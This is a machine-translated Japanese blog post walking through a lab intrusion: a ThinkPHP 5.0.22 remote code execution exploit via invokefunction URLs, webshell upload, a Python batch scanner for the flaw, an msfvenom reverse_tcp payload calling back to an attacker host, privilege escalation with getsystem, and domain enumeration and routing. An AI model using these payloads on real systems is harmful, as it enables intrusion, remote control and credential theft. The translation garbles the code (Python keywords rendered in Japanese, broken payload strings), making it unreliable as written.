Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863549680

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

最も重要なアイデアは、イントラネット浸透のプロセスです。今回はイントラネットの浸透に多くのホストはありませんが、主に自分のイントラネット浸透を訓練することです。

0x01環境構築

射撃範囲:

Win7(内部):192.168.138.136

Win7(外部):192.168.10.25

ドメインホスト:

Win2008:192.168.138.138

1049983-20220124161910902-1568317543.png

1049983-20220124161911529-793907684.png

0x03 Webサーバーの普及

nmapプローブポート

NMAP -T4 -SC -SV 192.168.10.25

ここでは、80、135、139、445などのいくつかのメインポートを見ることができます。まず、IPCとSMBを含むポイントを考えることができます。

1049983-20220124161912596-818866178.png

ポート80を開き、Webアドレスにアクセスしようとしました。私は年をとっていますが、それでもバージョン5.xなので、まだ多くの穴があります。

1049983-20220124161913201-374849507.png

特定のバージョンを決定するために、最初にエラーを表示して表示します。ここのバージョンは5.0.22であることがわかりました。正しく覚えていれば、ここにTPリモートコマンドの実行の脆弱性があります。

脆弱性の説明:ThinkPhpは、フレームワーク内のコア要求クラスのメソッドメソッドのフォームリクエスト偽造を提供するため、この関数は$ _POST ['_ Method']を使用して実際のリクエストメソッドを渡します。ただし、フレームワークではパラメーターが検証されないため、攻撃者は$ _POST ['_ Method']='__コンストラクト'を設定して、このクラスの変数を上書きします。攻撃者はこの方法を使用して、システムなどの関数名でフィルター変数を上書きします。パラメーターフィルタリングが内部的に実行されると、彼は任意のコマンドを実行します。

1049983-20220124161913610-491211481.png

thinkphp getshell

ここで、最初にカリに関連する脆弱性があるかどうかを確認します

searchsploit thinkphp

1049983-20220124161914100-1503706833.png

ここでは、5.xリモート実行の脆弱性があることがわかります。このフォルダーに直接移動し、TXTにリストされているペイロードを確認します。

cd/usr/share/exploitdb/exploits/php/webapps

CAT 46150.TXT 1049983-20220124161916353-868551862.png

対応するバージョンを見つけた後、次のペイロードをファズします。これはデータベース名のリストです。ここでは、データベース名がrootであることがわかります

192.168.10.25/thinkphp/public/?s=

このペイロードはデータベースのパスワードをリストする必要がありますが、ここには印刷されていません

192.168.10.25/thinkphp/public/?s=

これがphpinfoです

192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=phpinfovars [1] [=1 1049983-20220124161917844-2013731168.png

パスして、現在の許可が管理者であるかどうかを確認します

192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars「

IPの状況とデュアルネットワークカードを見ると、ドメイン環境がある可能性が高くなります

192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0=systemvars [1]]

1049983-20220124161918792-1367763159.png

プロセスを見て、キリングソフトウェアがないことを見つけるので、殺すことなくウェブシェルを書いてみてください

192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]

1049983-20220124161919282-125672516.png

ここで私はここに一文を書くようにしています。私は以前にチェックしたことがあるので、キリングソフトウェアやセキュリティ犬はいないので、ここで殺すことのない治療を行う必要はありません。

192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] connect.php 1049983-20220124161919705-2056106431.png

dirを使用して、書き込みが成功しているかどうかを確認します

192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars「

アリの剣に正常に接続します

1049983-20220124161920632-995255907.png

1049983-20220124161921081-60493833.png

thinkphpバッチ検出

ここで質問を考えました。 ThinkPhpには非常に多くのバージョンがあります。 Kaliに脆弱性ライブラリがない場合、検索エンジンでの検索が時間がかかりすぎる場合、ThinkPhpの脆弱性を検出するスクリプトはありますか?

ここで、ThinkPhpの脆弱性のバッチ検出のためのスクリプトを見つけました

#!/usr/bin/env python

# - * - coding: utf-8-* -

#name: thinkphpリモートコード検出

#説明: ThinkPhp5 5.0.22/5.1.29リモートコード実行の脆弱性

Reをインポートします

sysをインポートします

リクエストをインポートします

キューをインポートします

スレッドをインポートします

BS4からBeautifulSoupをインポートします

クラスThinkphp_rce(threading.thread):

def __init __(self、q):

threading.thread .__ init __(self)

self.q=q

def run(self):

self.q.empty():ではありません

url=self.q.get()

headers={'user-agent':'mozilla/5.0(macintosh; u; intel mac os x 10_6_8; en-us)applewebkit/534.50(khtml、geckoなど)バージョン/5.1サファリ/534.50'}

ペイロード=r '/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=phpinfovars [1] []=1'

vulnurl=url +ペイロード

try:

response=requests.get(vulnurl、headers=headers、timeout=3、verify=false、aople_redirects=false)

soup=beautifulsoup(respons.text、 'lxml')

str(soup.text):の「phpバージョン」の場合

print( '[+]リモートコード実行の脆弱性は、ターゲットアドレスに存在します')

print( '[ +]脆弱性URLアドレス' + vulnurl)

f1:としてopen( 'target.txt'、 'a')

f1.write(vulnurl+'\ n')

f1.close()

else:

print( '[ - ]ターゲットアドレスにリモートコード実行の脆弱性はありません')

:を除く

print( '[!]宛先アドレスは接続できません')

def urlget():

f:としてopen( 'url.txt'、 'r')

urls=f.readlines()

URLS:のTMPの場合

tmp:の「//」の場合

url=tmp.strip( '\ n')

urllist.append(url)

else:

url='http://'+tmp.strip( '\ n')

urllist.append(url)

return(urllist)

f.close()

__NAME __=='__ Main __' :の場合

print('''--------------------------------------------------------------------------------------------------------------------------

*:tdddによって作成されました

*詳細:https://T.ZSXQ.com/ai2rj6e

*My Heart :https://t.zsxq.com/a2fqfmn

________ _

| __ __ | | | (_)

| | __ | | ____ ___ ___ ___ _____ __ __ __ _

| |/_` |/__ |/_ \ | '_ `_ \ | || '_ \/_` |

| || (_ | ||(__ |(_)|| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

| _ | \ __、_ | \ ___ | \ ___/| _ | | _ | | _ | | _ || _ | | _ | | _ | \ __、|

__/|

| ___/

'' ')

urllist=[]

urlget()

スレッド=[]

threads_count=10

q=queue.queue()

urllist:のURLの場合

Q.put(url)

範囲のi(threads_count):

threads.append(thinkphp_rce(q))

スレッドのIの場合。

i.start()

スレッドのIの場合。

i.join()

ここでの方法は非常に単純です。URL.TXTで検出されるターゲットを配置し、脆弱性アドレスがある場合、Target.TXTテキストが自動的に生成され保存されます。

1049983-20220124161921824-35471364.png

0x04イントラネット情報コレクション

ここでは、アリの剣のコマンドウィンドウを使用して、管理者の許可+デュアルネットワークカードであるマシンの情報を収集します

whoamiipconfig 1049983-20220124161922276-619607824.png

ドメイン関連情報をご覧ください

Net ViewNet Config WorkStationNetユーザー /ドメイン1049983-20220124161922740-1299565204.png

0x05イントラネット浸透

オンラインMSF

MSFはABC.EXEを生成します

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.10.11 LPORT=4444 -F EXE ABC.EXE

1049983-20220124161923263-1582698240.png

アリの剣を使用してターゲットマシンにアップロードします

1049983-20220124161923776-1327108024.png

ここにはキリングソフトウェアがないため、殺すことなくそれを行う必要はありません。コマンドラインで実行するだけです。

1049983-20220124161924116-1760864525.png

MSFは監視を有効にし、オンラインにすることができます

1049983-20220124161924591-1726394148.png

情報収集

GetSystemを使用して、システムの権限を高めます。これは、射撃範囲であるため、GetSystemは正常に実行するのが簡単です。

1049983-20220124161925065-1513947860.png

権限を高めた後、Windows環境でシェルを取得して、ドメインに関する情報を収集し続けます。

CHCP 65001NETユーザー /ドメインネットグループ「ドメインコンピューター」 /ドメインネットグループ「ドメインコントローラー」 /ドメインネットグループ「ドメイン管理者」 /ドメイン

1049983-20220124161925751-376788332.png

ターゲットマシンには「Sun」と呼ばれるドメイン環境があり、ドメイン制御は1つだけです。ここでは、ドメインコントロールIPを取得するためにドメインコントロールを直接pingします192.168.138.138

1049983-20220124161926717-22375831.png

資格情報を取得

ここには、2つのネットワークセグメントがあるため、最初にルートを追加して後続の操作を容易にします

#MSF操作ルート追加192.168.138.0 255.255.255.0 2routeプリント#セッション操作Autoroute -S 192.168.0/24run autoroute -p

1049983-20220124161927395-346666967.png